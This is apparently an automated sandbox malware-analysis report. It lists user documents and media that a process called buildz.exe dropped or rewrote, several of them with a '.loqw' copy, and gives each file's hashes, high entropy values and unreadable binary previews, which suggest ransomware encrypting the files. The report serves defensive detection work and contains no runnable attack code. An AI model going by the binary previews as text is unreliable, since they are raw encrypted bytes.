MD5:	D7D8660F626F41AEF4E8B953B9C34A1B
SHA1:	D68BE1EEE4D95A36F03F84595D2EA8B03F8A4250
SHA-256:	121A34A6D04383257E7FD53639FF91D9F9C03D73DC1A3FB3089AD9DB8BAC0D0F
SHA-512:	F364D1C9DDD66C0189222DA1C2E930E98449E2BE6BC77C027AAFE5EEEFF05E9EAC22091C32ABE49E3BDEA366402E7864EE01A24BBC2A71DB557920B50707A781
Malicious:	false
Reputation:	unknown
Preview:	YPSIA`....b...~.{........J]..t..5-$j.+)......g.......+....{...#.4...s.&\T6q/1..).mWQ6xq..l.].ZR..N..^..c.Q..]..l.............4E...ch.;.T...!...C.~.h9HQ......t..w.. ..y..:._u.r.......3.\p.K-k....S..4...b`.p:fN.....k#._].x._.,N..ef..N.Hh.....A."....5....ya.}...d.1UM.`.}...M.yb-u...Wb...6.<#5..uS-c.g;.....2.*...._...y...+...y.r.`G...}./b..(5nw.d...j...9..l.m...\|.^D.IN.JX....%.R.7...F:=.B-,ab.N...G.Y]s!..0.9......^....F.k.. 4.y^."@........!W.....^....Z....R...%v....{....x..\U...<.Z]>if.....8.H.r..\|7$~.).63.\.tl....k^(8s-j......s.N..#..H.....M....g3>Ax.GQ..t...k[=.....$.%...C>....I.P....QYcD....(w..V..%....s..d. .PL.w.........y...kB;Y8...,..T..,R..dJc.e.x.......:y.#...7T.K.Q...>.7.Se.~k..j..V.ybE$j...Y..d%.A!...u.A0h...#k....&96..B..G...B.!tK..\Ej!%.>Wv..B....i......J..]c.a.f..e.H.)...Z.Vo.j!L.:G.aSA1v..?...^N.LZ..L.Rz..{.)....d..]N..?..#.d.u.Y..'.f..)..d3..,9>.....i.K....<.Wq....f..e.{..d.G]t......l=....Wq.DS?O.G.n=...e....d.t..

C:\Users\user\Documents\ONBQCLYSPU\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849653774705239
Encrypted:	false
SSDEEP:	24:3XiMQeSvUlFFqHM3CwNPQj3WYnCtig6lcMT85cJ+LCPIjMJ8R/GGTdt8WDSBbD:3Xtj8HM3CwN4j3W3igOcwJ+LCwQ2R/Gj
MD5:	3C5732A7847455C7E89937705A717B51
SHA1:	D2B923C97B7FF06057CE04901B3AEA16ED725BA3
SHA-256:	B945BF0BC245AF4214A891E73DE57F3546C5BB07CAB0616C7163FC829A9B42C8
SHA-512:	2879CC8A5EBE90CE287C066864A5ADDC545A0BD53AA2A67FADBDBE27C80B9E8C5AB0DE549D8882E4A6BAC8EEC8B3659665BBDA10033CD1ED65E3D3C79FA75E30
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC.[V....1h-._.r.._.....fqN..5{;o.M..5.N....&-.Zo...~.Q.j..3..........`[.f..l.....k........H.a.7.66P{.6..%H.A:..].E.:...._.....5.T.,.!....8..>.Zaoe.^..b.DK\|..6..M,.._.L...E._...."o5-...k.!.rZA.4....n..<=..: .[<..fE..)..%...W(.^.~.[....9.(...".9.......S.cA}.Z.'..QN......Rt..?....R...7.....E.?.!.'...}...d...hl.\|...a......E_......p.ypu....9.P.t..FY.P?.......==.R.o. ..A...Z...........}...P.C%.UFs.....`.qM.I.&.....M.s71.PSHq.'B.6.J.f.f.aW....&......_%pu.Z...bV..w.....U.ok@..)H..a....\|..4.P5.o]bD.....xzJ3'..Tn.$........$i7.....EZ..s.. .juD...\|f...>....8.}..,.....a.s.........w%..i.R...t.w..<...p....H..y).u........z..,.....xC..8....e.K......o.g.3?......j.7.-.'ak!..<n..D..&j..#.+...?..........W?N.....r.....W..3I...H.X..Yo..j..Vf...A}H\|.x...)..S..Q.v.X.6"C..b{s..%..ou .:bV.....^E....G..._.A..k.8.%..zql._.j.@...h:I.N.J..M...-%.W.&...Gq.....Jp.c>EX.h.l.J%Z...n....Z.Ho.G.c..E....s.....F.....B.k=6<L...G.5K.c.j...;..&..@....zi.8.z.a%...P.....Y.Q.

C:\Users\user\Documents\ONBQCLYSPU\ZBEDCJPBEY.png.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849653774705239
Encrypted:	false
SSDEEP:	24:3XiMQeSvUlFFqHM3CwNPQj3WYnCtig6lcMT85cJ+LCPIjMJ8R/GGTdt8WDSBbD:3Xtj8HM3CwN4j3W3igOcwJ+LCwQ2R/Gj
MD5:	3C5732A7847455C7E89937705A717B51
SHA1:	D2B923C97B7FF06057CE04901B3AEA16ED725BA3
SHA-256:	B945BF0BC245AF4214A891E73DE57F3546C5BB07CAB0616C7163FC829A9B42C8
SHA-512:	2879CC8A5EBE90CE287C066864A5ADDC545A0BD53AA2A67FADBDBE27C80B9E8C5AB0DE549D8882E4A6BAC8EEC8B3659665BBDA10033CD1ED65E3D3C79FA75E30
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC.[V....1h-._.r.._.....fqN..5{;o.M..5.N....&-.Zo...~.Q.j..3..........`[.f..l.....k........H.a.7.66P{.6..%H.A:..].E.:...._.....5.T.,.!....8..>.Zaoe.^..b.DK\|..6..M,.._.L...E._...."o5-...k.!.rZA.4....n..<=..: .[<..fE..)..%...W(.^.~.[....9.(...".9.......S.cA}.Z.'..QN......Rt..?....R...7.....E.?.!.'...}...d...hl.\|...a......E_......p.ypu....9.P.t..FY.P?.......==.R.o. ..A...Z...........}...P.C%.UFs.....`.qM.I.&.....M.s71.PSHq.'B.6.J.f.f.aW....&......_%pu.Z...bV..w.....U.ok@..)H..a....\|..4.P5.o]bD.....xzJ3'..Tn.$........$i7.....EZ..s.. .juD...\|f...>....8.}..,.....a.s.........w%..i.R...t.w..<...p....H..y).u........z..,.....xC..8....e.K......o.g.3?......j.7.-.'ak!..<n..D..&j..#.+...?..........W?N.....r.....W..3I...H.X..Yo..j..Vf...A}H\|.x...)..S..Q.v.X.6"C..b{s..%..ou .:bV.....^E....G..._.A..k.8.%..zql._.j.@...h:I.N.J..M...-%.W.&...Gq.....Jp.c>EX.h.l.J%Z...n....Z.Ho.G.c..E....s.....F.....B.k=6<L...G.5K.c.j...;..&..@....zi.8.z.a%...P.....Y.Q.

C:\Users\user\Documents\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877931392580283
Encrypted:	false
SSDEEP:	24:T1pAB00LBik9wrEAJ8IV7yxKne3UlyO9sevHipnSRAX5Y+11SgVPsi1krMvVCj70:XNKcVEuzgUlp/ipnSKY+1YOs+vVYTtv+
MD5:	226B70C551A7B56186969A0EB8A8BCF5
SHA1:	EFE24A6FE35C5CD250E4AF48D41E337D45519A00
SHA-256:	72DD78A049649556EEFD8EC2B0C213CF155D7C1317B3C329D29971FEB767E7FF
SHA-512:	91619C84C4ECDE0EC9B43C8A547DDCF0DBC1A2692E9620301B5DB0E9C829BE3A52136AA0A8E95D6F0FBB49190C002B0752F57539070A097400E88A8AB3BB7E5B
Malicious:	false
Reputation:	unknown
Preview:	DVWHKQ..-^1m\6..>7....@.m...o.xG.......,%...^.[..L.\........m..xp=36s.gkPw...B.......]..18.........W.:...7.yS...o!Hca..9?..x...}?v.y....fI3....#rc.1.a...'...+....@.Ud..=....o..c6.k_...%R.zPd\.."=........3}.........H~...?.>,PC:@..#..n...n.F.N.\..%6.b.....#:AU....~.c.:F...N.:YBp.."M."n...."........,..7G........-....&.....I#...........{-.C....G..V...cl.....K..u+....jr..#r.o...Q...^-...d...B1..zr ..U<.......:].....QN.......F..N1..~p......j.k..Z.d.lz/.!..U\|A.....k.#'o....l.....q...&=..N.fq..i....VW..`........m..r.y.n...Q.@Z._.>........A_..\<_.i....K.....\....)h....<.L...{.[.:=H8..M....[.C.V..(....~;..R.....k..y.h....yO.....u\|.yT.+.$.m..i.w0..D.....y.P]..'....?....[..$..4.J.b8<......&.....*.......a=G...yg....;...j6%..\f..Rf.r.a.......W.j>hY?.....I..3..,sF(J.K.=ko`D..QK`..Z..Vr.}$..D6s...N....a.O....?...N.c....3.ba..i8..8....r..>W..%,uc.....=.p8.,C..f.r....6t.'..)...........%X..?.Y.T......#\|7.d.o..b.......~.....b...B.yu.....aS.\.Ql]n.9..

C:\Users\user\Documents\XZXHAVGRAG\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850774372343335
Encrypted:	false
SSDEEP:	24:pe4uIeynw1dvVQvFzuHjnStuE8yUz33Y7S3L0THnDh72XRnuJm9n7jKuObHq4xz9:2Im1dNQvoTStu4b1TH972NXc7dD
MD5:	01AFAF58766722E539DD36EF88C96696
SHA1:	45C69BFB308A45D9D1FA555D46FA9EF2353C5F47
SHA-256:	C55C4851334B79DCD466B4B223A3940C04A5687B23209F0B494C356258C91C42
SHA-512:	B1A61121A496F9B05A62B4301D6ECBF262C5997DAA0CE5799016A6D3DF94B5E3C55982BE8A966190F8D7295DC19E3DFA4605AB1A2F3188FC69DC50AD4E059486
Malicious:	false
Reputation:	unknown
Preview:	KATAXO.i.hbM..!..O......'h..W#..B.......ct.~.G.......L..d..hz....$....~.r..Du...]..?.SV..t_H&..[#.u......T.D+.yl../.nx...../%Y......O...o.s...F.Jb.8.Y.Q./y...mM.-.`]..V}R..w..x..%.\|_ru.e`..}zwH...u..."R.l.R.g..?......p'..0.T.I..<...........vu.......+..7m.C.e...s.J#..BSK....Q.K..e.=...1...,...$+y.IZH,p.o.\|.......<.P..J.F".().:.].m..y<..+.\G.w...(.:.7.F....Vxm!.J&.H.9.f...s.~.).8.. ......'f.......1.......vt....}.e[...(iG...Gw......,...~@k^.;.I.-^O....!7_........T..Kd.'...6h..W..8..2.yC....=eA.L........+W?<...(1.at...J./..=N^..L.....n.n.s.x..X.......@i..d"....r.....R-..G...=...`..@.....6.._.2.<...+..B.T.4L...`....6,....C.P...@"\|.y..8.k-..Ll.'.<./.B..H+..u..K.{ .;.X.<.2e.....O.3..R..t.6U.V..t.UN. ..3b(x..D.W...<..%'..Q...y.+...b.....-@.;.g,.l....h....Jb+-.}=ZF.}.%..w.R~..^.0.....\|....V..Y\.O..?.....*"X.#.w..M^...`).....^_.......6..!O...w4...N...........F]2R...xM....;$.n.....ReX1s.#....5T.0E........"..........xavp.l.G..K.2.x..f...E.+)Mv...3.z.

C:\Users\user\Documents\XZXHAVGRAG\KATAXZVCPS.pdf.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850774372343335
Encrypted:	false
SSDEEP:	24:pe4uIeynw1dvVQvFzuHjnStuE8yUz33Y7S3L0THnDh72XRnuJm9n7jKuObHq4xz9:2Im1dNQvoTStu4b1TH972NXc7dD
MD5:	01AFAF58766722E539DD36EF88C96696
SHA1:	45C69BFB308A45D9D1FA555D46FA9EF2353C5F47
SHA-256:	C55C4851334B79DCD466B4B223A3940C04A5687B23209F0B494C356258C91C42
SHA-512:	B1A61121A496F9B05A62B4301D6ECBF262C5997DAA0CE5799016A6D3DF94B5E3C55982BE8A966190F8D7295DC19E3DFA4605AB1A2F3188FC69DC50AD4E059486
Malicious:	false
Reputation:	unknown
Preview:	KATAXO.i.hbM..!..O......'h..W#..B.......ct.~.G.......L..d..hz....$....~.r..Du...]..?.SV..t_H&..[#.u......T.D+.yl../.nx...../%Y......O...o.s...F.Jb.8.Y.Q./y...mM.-.`]..V}R..w..x..%.\|_ru.e`..}zwH...u..."R.l.R.g..?......p'..0.T.I..<...........vu.......+..7m.C.e...s.J#..BSK....Q.K..e.=...1...,...$+y.IZH,p.o.\|.......<.P..J.F".().:.].m..y<..+.\G.w...(.:.7.F....Vxm!.J&.H.9.f...s.~.).8.. ......'f.......1.......vt....}.e[...(iG...Gw......,...~@k^.;.I.-^O....!7_........T..Kd.'...6h..W..8..2.yC....=eA.L........+W?<...(1.at...J./..=N^..L.....n.n.s.x..X.......@i..d"....r.....R-..G...=...`..@.....6.._.2.<...+..B.T.4L...`....6,....C.P...@"\|.y..8.k-..Ll.'.<./.B..H+..u..K.{ .;.X.<.2e.....O.3..R..t.6U.V..t.UN. ..3b(x..D.W...<..%'..Q...y.+...b.....-@.;.g,.l....h....Jb+-.}=ZF.}.%..w.R~..^.0.....\|....V..Y\.O..?.....*"X.#.w..M^...`).....^_.......6..!O...w4...N...........F]2R...xM....;$.n.....ReX1s.#....5T.0E........"..........xavp.l.G..K.2.x..f...E.+)Mv...3.z.

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860203208858049
Encrypted:	false
SSDEEP:	24:+STzZalotuV3TTi+8KEiaoSALeRy7q65eiREjU95adjEbTnK1/GE12jYTbD:NA2a3TTiaaopLegqZe195aaCUjYHD
MD5:	E199DD07405FD5D4347E5C7CEB31462C
SHA1:	47972B4CDF1C0ED39A1E44D821E6E05A4F26FE06
SHA-256:	AFBAC49C9D9C453A6E48559A2B1D22953F9C998A4C6C68E343B7C8305D9A4320
SHA-512:	033EC4816B718CFCD4C7E64E5F8354063AA3FD2CC78601AD1DA1979DF209469D9F82B730C97DB2CA094C4A5027BFF4C4E99A85369ABAD7ECEBEE206530DE51FB
Malicious:	false
Reputation:	unknown
Preview:	NWTVC.NO..`.U.......d.n.2..y.....U^...Y.E..&Sewx..a.t{wz.A.c.L...W /2.v.....W.@X...;Vk.0`...P....2..........P...H......b}.Y...$ c.N...h....]XO.^.?...\|;..#......G+.@b...,&"..Q..w..Rd4,...H&.,..WCp.Tg..Y..[.>T.\... .p{....x.U]E....../...)...`?{O....sA....>M......A.....=\|......H..t.{Z.A-../...>.....e..x.U..r..........z]P........q.w.&C.3..)o..........mBOT..'.p....a......g:...?/..W........R.h.LWO.b.c(n..CEP..;P..@..5.p'6.>.@G...\._..w.`.zg..#p..xyd.w..C...T8_...r..G.....ny..i%..;......Q.E.Eq.....?x......~..!..l....<.}..O..+.T..q.AX2k.A..h.A.Hc..puP\kj..D8<.&.s&..9p6....,?g...:..x...(.. {.Jhw&...R.W..{.....W.V..)u.V=...s.m.u...[2wcJ..i.Jk$..V$..w.].?..X....k.KM...~.j.....t.w.Pw.a.../...h..0.!.};L.<G....z..../U...z..(.ji..%...V....T.9.?..tF.1....t].%...X.P..vZ.Q........#...+..)+....'.?z.d..*3'..!.[.w...............L.IF.......o.yrq.@..7.~...\n......e...NoX...:...l...}..>.........#..+.N)...~.z....b`v7....]..w.!E.<.....+v9..tu.0Z...I..Ah...6lm..

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860203208858049
Encrypted:	false
SSDEEP:	24:+STzZalotuV3TTi+8KEiaoSALeRy7q65eiREjU95adjEbTnK1/GE12jYTbD:NA2a3TTiaaopLegqZe195aaCUjYHD
MD5:	E199DD07405FD5D4347E5C7CEB31462C
SHA1:	47972B4CDF1C0ED39A1E44D821E6E05A4F26FE06
SHA-256:	AFBAC49C9D9C453A6E48559A2B1D22953F9C998A4C6C68E343B7C8305D9A4320
SHA-512:	033EC4816B718CFCD4C7E64E5F8354063AA3FD2CC78601AD1DA1979DF209469D9F82B730C97DB2CA094C4A5027BFF4C4E99A85369ABAD7ECEBEE206530DE51FB
Malicious:	false
Reputation:	unknown
Preview:	NWTVC.NO..`.U.......d.n.2..y.....U^...Y.E..&Sewx..a.t{wz.A.c.L...W /2.v.....W.@X...;Vk.0`...P....2..........P...H......b}.Y...$ c.N...h....]XO.^.?...\|;..#......G+.@b...,&"..Q..w..Rd4,...H&.,..WCp.Tg..Y..[.>T.\... .p{....x.U]E....../...)...`?{O....sA....>M......A.....=\|......H..t.{Z.A-../...>.....e..x.U..r..........z]P........q.w.&C.3..)o..........mBOT..'.p....a......g:...?/..W........R.h.LWO.b.c(n..CEP..;P..@..5.p'6.>.@G...\._..w.`.zg..#p..xyd.w..C...T8_...r..G.....ny..i%..;......Q.E.Eq.....?x......~..!..l....<.}..O..+.T..q.AX2k.A..h.A.Hc..puP\kj..D8<.&.s&..9p6....,?g...:..x...(.. {.Jhw&...R.W..{.....W.V..)u.V=...s.m.u...[2wcJ..i.Jk$..V$..w.].?..X....k.KM...~.j.....t.w.Pw.a.../...h..0.!.};L.<G....z..../U...z..(.ji..%...V....T.9.?..tF.1....t].%...X.P..vZ.Q........#...+..)+....'.?z.d..*3'..!.[.w...............L.IF.......o.yrq.@..7.~...\n......e...NoX...:...l...}..>.........#..+.N)...~.z....b`v7....]..w.!E.<.....+v9..tu.0Z...I..Ah...6lm..

C:\Users\user\Documents\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858661935770639
Encrypted:	false
SSDEEP:	24:bwLDIkP40j+iXE1cSx6rA51dtRwyPRsMVtcbVmLZTX1EPadTFAbD:kHe0j+iXIx6k/dtRHab4L51EPdD
MD5:	F021F21C560A4001454231E081DD89BE
SHA1:	FD4C5B66001CCD74CF37E5C3660811E58908DEDD
SHA-256:	F5C1B98645A2892112A3D1119F4B2DB906E749AC8CBD80CD116FBEB78FEB487C
SHA-512:	5460DAB273D7D6D1D403B55C36105D082128BE4128A09C5A09113A21DDD84537CCA9BFF4D293A8A3FDC7362367085517A5C5C36A13971F0166D2662EA36FBF74
Malicious:	false
Reputation:	unknown
Preview:	VLZDG...Y..f0..l=}...R`...q1...>..k[....r.c,.....#....=+}]6...i.%..F..0]72]sm.@9z.W.U(..).9.u+Fv.'..z1Y..3.....s.k.. Tt..Q..y.^'.t.../1J8\|s}.NS..+5..r{...;.4..YC...p'`."O....../...P7 .$C .D....WF.....?O.........J..{...6.h...Xu....J(.F..G.......X...vW....+.w...W.......^....L...!3.5jU`..u../....U..E....2_kwM. k6..n..W.d..W....zm.m..j..0.H...`....r....;m.x.3... ..M..%..%U-..4N..=.... ..wx.9..C.{.]-....J>.J&k.\X.....O......0.l.../=...I.A.IJv.$.$.`.qj.r<;.^v.....0.H.VGabi.?.z.oX.T...I.Nq.9...$..'....O.....K..?.u.A...........s.& J>....H'....$.'.U......n....B.."..jn.^.....yX.)Rx.M*UG..3.....!..KSG}..w.4........X4(.uhH../%...T...\|=..U..\.zS.q.. ...C..I..>..C..'{g......Q..o`....Q..].."2e.PN..o.....)...kN..vs.p... &...^..juS.&. s....u".fcH.2........p.....;x...aZ#......KU..)eS.x.PE..k.-.X.}..>........[.."-N..U).......H.:...il.rjr......=...w..C.<st..@.).%'.PK.A._...^Qj.....T.$O..(......-.....'.i.k1...PE../[I..............{.\|KX....Vz.&.

C:\Users\user\Documents\XZXHAVGRAG\VLZDGUKUTZ.xlsx.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858661935770639
Encrypted:	false
SSDEEP:	24:bwLDIkP40j+iXE1cSx6rA51dtRwyPRsMVtcbVmLZTX1EPadTFAbD:kHe0j+iXIx6k/dtRHab4L51EPdD
MD5:	F021F21C560A4001454231E081DD89BE
SHA1:	FD4C5B66001CCD74CF37E5C3660811E58908DEDD
SHA-256:	F5C1B98645A2892112A3D1119F4B2DB906E749AC8CBD80CD116FBEB78FEB487C
SHA-512:	5460DAB273D7D6D1D403B55C36105D082128BE4128A09C5A09113A21DDD84537CCA9BFF4D293A8A3FDC7362367085517A5C5C36A13971F0166D2662EA36FBF74
Malicious:	false
Reputation:	unknown
Preview:	VLZDG...Y..f0..l=}...R`...q1...>..k[....r.c,.....#....=+}]6...i.%..F..0]72]sm.@9z.W.U(..).9.u+Fv.'..z1Y..3.....s.k.. Tt..Q..y.^'.t.../1J8\|s}.NS..+5..r{...;.4..YC...p'`."O....../...P7 .$C .D....WF.....?O.........J..{...6.h...Xu....J(.F..G.......X...vW....+.w...W.......^....L...!3.5jU`..u../....U..E....2_kwM. k6..n..W.d..W....zm.m..j..0.H...`....r....;m.x.3... ..M..%..%U-..4N..=.... ..wx.9..C.{.]-....J>.J&k.\X.....O......0.l.../=...I.A.IJv.$.$.`.qj.r<;.^v.....0.H.VGabi.?.z.oX.T...I.Nq.9...$..'....O.....K..?.u.A...........s.& J>....H'....$.'.U......n....B.."..jn.^.....yX.)Rx.M*UG..3.....!..KSG}..w.4........X4(.uhH../%...T...\|=..U..\.zS.q.. ...C..I..>..C..'{g......Q..o`....Q..].."2e.PN..o.....)...kN..vs.p... &...^..juS.&. s....u".fcH.2........p.....;x...aZ#......KU..)eS.x.PE..k.-.X.}..>........[.."-N..U).......H.:...il.rjr......=...w..C.<st..@.).%'.PK.A._...^Qj.....T.$O..(......-.....'.i.k1...PE../[I..............{.\|KX....Vz.&.

C:\Users\user\Documents\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837696542574639
Encrypted:	false
SSDEEP:	24:rfi0BpqrXjVW5mIE4FpA+Bp0DWAB0IiQHk5Yz03DH/fho0U5JoJFhdtLNbD:rK0BcjVW4WLA+/QAQE53DHhoNJWBLtD
MD5:	90070D0769EC8D136BA3B0FFC6D75DE5
SHA1:	8825B39ED97D63B786D321243B593C3D859BD9DB
SHA-256:	C51D3C43879E440A42B57F3FC061AEEEE06E28BCC4256F8B93EF348429FD0337
SHA-512:	FC3756F3E23C68905138AA049288A80FF7B62F99B72FA79D198AA99B0D08E4A19D8F1E319BEAC30D89AB088CE4CCA81A1359A8C6250BBD45683D02F54FF17033
Malicious:	false
Reputation:	unknown
Preview:	XZXHAN-.L.7Q!...z>.b3........`..i8..e.c.a...... ....K....i.8>y...f.+bxB...Y....H.w..u..#.;5Y.....GW..V^..}......H=...5..E9..&....p......$.5. .iM.]P./g....p0..<. ...M.hz'o.}.h.t....$9.vS...`....U.X.#+....?........_...)o./.<Y..u......k?..O.......!.!...x.;],.......&..he.N.J...... ....'R.&~..K.B@(.n.i...O.. .h..H..FMp...2O...&..{.I......e....P _4J=...4.r. .?o.NO`<.IZ........^._.J.=.bE.=..QD...R .?..lkQ^.f.I.1....1.+._.j.^:.a$q.... .5W^&>x..q...)..N.ez.6.d.O.q...Q....b..<.......d...9..Y.f%.v....;......-i.~5..V........D.5.J.k=..5........mb....n..w1.J.....x.HO..w.{t.Moa..m..i..X..=t\|x9.z.`H....;..n..IPp...0..M....F..j.]!...dK...P...4&8............Q.?.."./8.k.../VW....u......)=.}.T.8......#w.%..W.......!....xyX..Nh.(Z... /!).>#.u^....I.)...u0.R-.In]V.TLP.K...u(.....qP.....G...........IG.!8p..4..d.....Wl..."......=s._.eQ..N..g..=.....$.....kwDF....%.....C....u......).&q.....A......q>..;%$X.#...Ma.hj....b.o...^.#A.Xb....v>..;... .T."....k...l.

C:\Users\user\Documents\XZXHAVGRAG\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857062826449419
Encrypted:	false
SSDEEP:	24:nrn2ujxmasT5v+buLER0QVjq1f1rhvADU1FVEPkcD2fyqhz71zqVqBiDvsbD:nL2ujXhioRJM1tP2qP7D
MD5:	72F97871DE9CD6FA99DDAC2306CAC704
SHA1:	4BDA0D0C9928F9FD46950521B099B045DB59FB74
SHA-256:	589F982E4245539241DD84710D995364E60174BCC6D23B5BC2EE9E6AC84DE2A6
SHA-512:	131E40447A25C9E4218FA750F0F5B8B98C48ED7A036D59509A6589393799E191B9B34E8D100E5EBFA18C964CACFEC7C2BD6782D058AD4BC249BB7E4F3251CE8C
Malicious:	false
Reputation:	unknown
Preview:	YPSIA.O..".....(...Xs..I"f.z7..6d=........v...s...n..d+0d...y.........5.Q.'.V.D...... jbE..9....Y...gw9.)n..Wpd.3.v.k..2.C..=.1......;a.&.....Kf..E].%.4@zx..t...9.... #K..C.n.........R%{.-$.d...1].C.......m......t....>.....Y......;.8.\|.A#4.L.......@.^-~aW.......:...7-._D..Uv...0...._.vo..O..;.z.1.p.CE.'...}...F...`...lrv...>= s(.'.#.-.'.O.7tT."...wI...O VP0p..M..r.....<.K?....z.g>.....\|.b...j.1Jan.r..>.....pmq.LTe...w.F...gQ.CA...pq....$3.....Z......PE.k....q...h..O12Y.....)..e.37]q.'..B.......i9.....P.r...g...0..P&....l..G....).E....@G...X. e..'.ID...../+wM.h..2...r.......z.0M......(..e?$.U.....\V.....H22y.o....X...P..b....=........o.d..u..[.=.E.R.k'........Hb.......R...}....B~.j..J.....&..G^.] ....5..p.{\+qt....o.%...:g..=...s..g...,yr.....?...}.. ..].....y.C......G.w.D...g'....P..L......b.^....vk.:Sv............^B.7.....Iiw..U.p.YN ...b!.{d.n.lb`.F.G&.p`S?.F0.s.!...;Pl.6.'*!.k. lf.M.:e...S.:s6..z0..T;.9I......j...z.\.@.i'V

C:\Users\user\Documents\XZXHAVGRAG\YPSIACHYXW.mp3.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857062826449419
Encrypted:	false
SSDEEP:	24:nrn2ujxmasT5v+buLER0QVjq1f1rhvADU1FVEPkcD2fyqhz71zqVqBiDvsbD:nL2ujXhioRJM1tP2qP7D
MD5:	72F97871DE9CD6FA99DDAC2306CAC704
SHA1:	4BDA0D0C9928F9FD46950521B099B045DB59FB74
SHA-256:	589F982E4245539241DD84710D995364E60174BCC6D23B5BC2EE9E6AC84DE2A6
SHA-512:	131E40447A25C9E4218FA750F0F5B8B98C48ED7A036D59509A6589393799E191B9B34E8D100E5EBFA18C964CACFEC7C2BD6782D058AD4BC249BB7E4F3251CE8C
Malicious:	false
Reputation:	unknown
Preview:	YPSIA.O..".....(...Xs..I"f.z7..6d=........v...s...n..d+0d...y.........5.Q.'.V.D...... jbE..9....Y...gw9.)n..Wpd.3.v.k..2.C..=.1......;a.&.....Kf..E].%.4@zx..t...9.... #K..C.n.........R%{.-$.d...1].C.......m......t....>.....Y......;.8.\|.A#4.L.......@.^-~aW.......:...7-._D..Uv...0...._.vo..O..;.z.1.p.CE.'...}...F...`...lrv...>= s(.'.#.-.'.O.7tT."...wI...O VP0p..M..r.....<.K?....z.g>.....\|.b...j.1Jan.r..>.....pmq.LTe...w.F...gQ.CA...pq....$3.....Z......PE.k....q...h..O12Y.....)..e.37]q.'..B.......i9.....P.r...g...0..P&....l..G....).E....@G...X. e..'.ID...../+wM.h..2...r.......z.0M......(..e?$.U.....\V.....H22y.o....X...P..b....=........o.d..u..[.=.E.R.k'........Hb.......R...}....B~.j..J.....&..G^.] ....5..p.{\+qt....o.%...:g..=...s..g...,yr.....?...}.. ..].....y.C......G.w.D...g'....P..L......b.^....vk.:Sv............^B.7.....Iiw..U.p.YN ...b!.{d.n.lb`.F.G&.p`S?.F0.s.!...;Pl.6.'*!.k. lf.M.:e...S.:s6..z0..T;.9I......j...z.\.@.i'V

C:\Users\user\Downloads\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834229417568938
Encrypted:	false
SSDEEP:	24:fPtWomEciimHUaoZxpwbgzgS5Ok4Iuj5XlX7hb9mUaXZBppYdec59VLDzDpjbD:fPtWXGiwUao7pww5juJlX7xwHcrLVnzB
MD5:	D59D187196190917E66EC3569AAACF98
SHA1:	FF08E527871D75D04A690C0FE59303FA4C6F8C71
SHA-256:	269BD190D6817BEAAF2FCAAF36B10B918EDDBDE871067E63CB84902B990E6CB3
SHA-512:	B0855A94282531A6C82AC249C5B10C9CB4AF2F5D603081B7DC350550EE7DC2A513E9B0D6B7F1988C22CDD0EC52A7873C33B65DF0C09D0B64BE3973E268FF973C
Malicious:	false
Reputation:	unknown
Preview:	YPSIA.....M.c...f.F....x.@u#..x..\....;U..z.{.w$..<.L#..S...n'.VL24..."._4m...+...... IZ.}..x..........i.....e^.$.(...F....k..d1b...+...7w...QFM....}P..b._@...[...#.........B..;.=b.L.A.Q.W.....t..?...j./....gkh......Ky..r...Z......Qn..b@....].^5\...].....I.).]....=.........9d.[...[9.2p^..Q._.-....i[...ri?...K..O........;c^..4...D...._?k...rT....Z.....+...Uz..]...!#.6.....S\.7..."..:.V.;d9..,t.Q..m?.e.._...5.B.`..4..W.j..%.<"...J_.^......om..g\.)Q........V..FbO..(.z.7VT&U..X..;k:e...g..0(..-.b..\m.M.V.7..r......X..dm..t%.M...H....I@qPwX.....A...\....j.G.0...0..n.n-..a..:...1.._..... X...K...DAWqD.......,i)F3".aJ..g7.w.3#x.\4.\|YD...Y9......Iy_.7PMJ...7..^.EG.....&..`...y....{}.....a7.'..f.<1B..N...G+..i.....df........Q...E...4@....%j.~..^...T...p....z..L].~5...2.w..w...}.....t.m....#G..=<.0T....Vm.a...#..!.w...P.\..7.{...\.!.q\|.....`S.v}~....=G(..\.k...0]r..Ln:..... ...W....0.~!....[......!p=.......5&..ko.<..m+$.G.\Q.d..=

